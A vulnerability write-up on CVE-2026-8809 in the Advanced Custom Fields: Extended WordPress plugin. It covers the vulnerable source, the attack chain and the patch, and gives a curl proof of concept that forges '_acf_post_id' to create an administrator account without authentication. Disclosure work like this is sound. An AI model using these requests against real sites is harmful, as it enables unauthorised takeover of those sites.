Advanced Custom Fields: Extended WordPress plugin banner

CVE-2026-8809: ACF Extended Unauthenticated Privilege Escalation (CVSS 9.8)

Updated 8 min read

CVE-2026-8809 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Advanced Custom Fields: Extended WordPress plugin. Any unauthenticated visitor can create a new administrator account on affected sites, achieving full site takeover.

Vulnerability Summary

FieldValue
Plugin NameAdvanced Custom Fields: Extended
Plugin Slugacf-extended
CVE IDCVE-2026-8809
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Privilege Escalation
Affected Versions<= 0.9.2.5
Patched Version0.9.2.6
PublishedMay 28, 2026
Researcherdaroo
Wordfence AdvisoryLink

Description

Advanced Custom Fields: Extended (ACFE) is a comprehensive add-on for ACF Pro. One of its features is a frontend form builder that lets site owners create public forms for tasks like user registration. When a form is configured with a “Create User” action and an admin role option, a security check is supposed to block unauthenticated users from registering as administrators.

This check can be completely bypassed by manipulating a single POST parameter: _acf_post_id. Because this parameter is read from the request with no authentication or integrity check, an attacker can set it to any value. By choosing a value that points to an internal ACFE module post, the attacker triggers an error-cleanup routine that silently deletes the admin-role check error before WordPress sees it. The form then proceeds to call wp_insert_user() with an attacker-supplied administrator role, creating a fully privileged account.

Technical Analysis

How the Frontend Form Processes Submissions

When an ACFE frontend form is submitted, WordPress fires the acf/validate_save_post action hook. Several functions run in sequence, ordered by priority:

  • Priority 0acf_save_post_form_data() in includes/hooks.php reads POST parameters and stores them as “form data.” This includes _acf_post_id:
// includes/hooks.php:632-644
function acf_save_post_form_data(){
    $screen  = acf_maybe_get_POST('_acf_screen', 'post');
    $post_id = acf_maybe_get_POST('_acf_post_id', 0);   // ← attacker-controlled
    $location = acf_maybe_get_POST('_acf_location', array());

    acf_set_form_data(array(
        'screen'   => $screen,
        'post_id'  => $post_id,
        'location' => $location,
    ));
}

No authentication. No nonce. Any POST value for _acf_post_id is accepted as-is.

  • Priority 1acfe_module_form_front::validate_save_post() runs the form’s own validation hooks, including acfe/form/validate_user. This triggers acfe_module_form_action_user::validate_action().

  • Priority 10 (default)acfe_module_acf::after_validate_save_post() runs after all other validators.

The Admin Role Check That Gets Silently Removed

Inside validate_action(), a security check blocks unauthenticated users from setting the administrator or super_admin role:

// includes/modules/form/module-form-action-user.php:356-373
if($action['type'] === 'insert_user' || $action['type'] === 'update_user'){
    $role = acf_get_array($action['save']['role']);

    if((in_array('administrator', $role, true) || in_array('super_admin', $role, true))
        && !current_user_can('promote_users')){

        if($validate){
            return acfe_add_validation_error('', $errors['generic']);
            // Error message: "An error has occured. Please try again"
        }
    }
}

This adds a validation error with the plain message "An error has occured. Please try again". Notice: there is no acfe: prefix on this message.

The Error Cleanup That Swallows the Block

after_validate_save_post() in includes/module-acf.php is designed to clean up errors from ACFE’s internal module forms (like the Post Types or Taxonomies admin screens). It only keeps errors prefixed with acfe: and discards everything else:

// includes/module-acf.php:119-154
function after_validate_save_post(){

    $post_id = acf_get_form_data('post_id');        // ← reads the attacker-controlled value
    $module  = acfe_get_module_by_item($post_id);   // ← looks up a module by post ID

    if(!$module){
        return;   // normally returns early for regular page IDs
    }

    $errors = acf_get_array(acf()->validation->get_errors());

    foreach(array_keys($errors) as $key){
        if(!acfe_starts_with($errors[$key]['message'], 'acfe:')){
            unset($errors[$key]);   // ← removes "An error has occured. Please try again"
        }
    }

    // cleanup acfe: prefix from remaining messages
    foreach(array_keys($errors) as $key){
        $errors[$key]['message'] = str_replace('acfe:', '', $errors[$key]['message']);
    }

    acf()->validation->errors = $errors;   // ← overwrites the errors array
}

This function only runs if acfe_get_module_by_item($post_id) returns a module. Under normal operation, _acf_post_id is the page ID (e.g., 42), which has post type page. Because page is not an ACFE module type, the function returns early and does nothing.

Triggering the Bug: Supplying a Module Post ID

acfe_get_module_by_item() calls get_post_type(absint($id)) on the supplied ID and checks if that post type is a registered ACFE module:

// includes/module.php:1351-1363
function acfe_get_module_by_item($id){
    $id = absint($id);
    if(!$id){ return false; }
    return acfe_get_module_by_post_type(get_post_type($id));
}

ACFE registers its own post types as modules — for example, acfe-form (forms), acfe-dt (dynamic templates), and others. If an attacker sets _acf_post_id to the database ID of any post with type acfe-form, the function returns the form module.

Because every ACFE installation has at least one form post in the database, and its ID is typically visible in the page HTML (embedded in ACF’s localized script data or form attributes), this is trivial to obtain.

Full Attack Chain

  1. _acf_post_id = ID of an acfe-form post is sent by the attacker.
  2. acf_save_post_form_data() stores it as form data.
  3. validate_action() adds the error "An error has occured. Please try again" (no acfe: prefix).
  4. after_validate_save_post() finds the form module from the attacker-supplied ID.
  5. The error from step 3 is removed because it lacks the acfe: prefix.
  6. ACF’s validation now sees zero errors — the form is valid.
  7. wp_insert_user() executes with the attacker’s data, including role => administrator.
  8. A new admin account exists.

Proof of Concept

Disclaimer: This proof of concept is provided for educational and authorized security testing purposes only. Do not use it against systems you do not own or have explicit permission to test.

Prerequisites:

  • Plugin: Advanced Custom Fields: Extended version <= 0.9.2.5
  • A public ACFE frontend form with a “Create User” action configured with an administrator role
  • At least one acfe-form post exists in the database (true for any site using ACFE forms)

Step 1 — Identify the form endpoint and extract required values.

Visit the public form page and view the page source. Find the hidden inputs rendered by ACFE:

curl -s "https://target.example.com/register/" | grep -E "_acf_form|_acf_nonce|acf\["

You need:

  • _acf_form — the encrypted form configuration (hidden input)
  • _acf_nonce (or _acf_nonce_acfe_form) — the nonce value for the form
  • _acf_post_id — normally the page ID; you will replace this

Step 2 — Find an acfe-form post ID.

The form’s own post ID is often embedded in ACF’s localized JavaScript data on the form page:

curl -s "https://target.example.com/register/" | grep -o '"post_id":[0-9]*' | head -1

Alternatively, enumerate common post IDs (1–100) and check which ones have post type acfe-form.

Step 3 — Submit the form with the manipulated _acf_post_id.

curl -X POST "https://target.example.com/register/" \
  -d "_acf_screen=acfe_form" \
  -d "_acf_nonce_acfe_form=NONCE_FROM_PAGE" \
  -d "_acf_form=ENCRYPTED_FORM_VALUE_FROM_PAGE" \
  -d "_acf_post_id=ACFE_FORM_POST_ID" \
  -d "acf[field_user_email]=attacker@evil.com" \
  -d "acf[field_user_login]=attacker_admin" \
  -d "acf[field_user_pass]=P@ssw0rd123!" \
  -d "acf[field_user_role][0]=administrator"

Replace field_user_email, field_user_login, field_user_pass, and field_user_role with the actual ACF field keys from the form’s HTML source.

Step 4 — Verify administrator account was created.

curl "https://target.example.com/wp-json/wp/v2/users?search=attacker_admin"
# Look for "roles":["administrator"] in the response

# Or log in to wp-admin directly:
# https://target.example.com/wp-admin/ → use attacker@evil.com / P@ssw0rd123!

What makes it work:

The key change is _acf_post_id=ACFE_FORM_POST_ID. In a normal request, this value is the page ID (a page post type). Changing it to any acfe-form post ID causes after_validate_save_post() to find the module and wipe all non-acfe: errors — including the administrator role guard — before ACF evaluates the final error list.

Patch Analysis

Version 0.9.2.6 fixes the vulnerability in includes/module-acf.php by adding two guards to the validate_save_post() and after_validate_save_post() functions:

// includes/module-acf.php
 function after_validate_save_post(){
+
+    // validate
+    if(!acf_current_user_can_admin() || !$this->verify_nonce()){
+        return;
+    }
 
     $post_id = acf_get_form_data('post_id');
     ...

The new verify_nonce() method checks for a backend nonce _acfe_module_nonce:

// includes/module-acf.php (patched)
function verify_nonce(){
    $nonce = acf_maybe_get_POST('_acfe_module_nonce');
    return $nonce && wp_verify_nonce($nonce, 'acfe_module');
}

Both checks must pass:

  1. acf_current_user_can_admin() — only administrator-level users pass.
  2. wp_verify_nonce($nonce, 'acfe_module') — only valid admin-issued nonces pass.

Because unauthenticated frontend form submissions never have an admin nonce, after_validate_save_post() returns immediately without touching the errors array. The administrator role check error stays, and wp_insert_user() is never called.

The same guards were also added to validate_save_post() and save_post(), fully locking down the module management path to authenticated admins.

Timeline

DateEvent
May 28, 2026Vulnerability publicly disclosed by Wordfence
May 28, 2026Patch released in version 0.9.2.6
June 7, 2026Blog post published

Remediation

Update Advanced Custom Fields: Extended to version 0.9.2.6 or later.

  1. Go to WordPress Admin → Plugins → Installed Plugins.
  2. Find Advanced Custom Fields: Extended and click Update Now.
  3. Confirm the installed version is 0.9.2.6 or higher.

If automatic update is not possible, download the plugin directly from wordpress.org/plugins/acf-extended/ and replace the plugin files manually.

Sites that do not use public ACFE frontend forms configured with user creation and role selection are not vulnerable to this specific attack chain. However, updating is strongly recommended as a precaution.

References

  1. Wordfence Advisory — CVE-2026-8809
  2. CVE Record — CVE-2026-8809
  3. Vulnerable code — module-acf.php#L141
  4. Vulnerable code — hooks.php#L636
  5. Vulnerable code — module-form-action-user.php#L715
  6. Vulnerable code — module-form-front.php#L94
  7. Patch changeset — r3551665
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee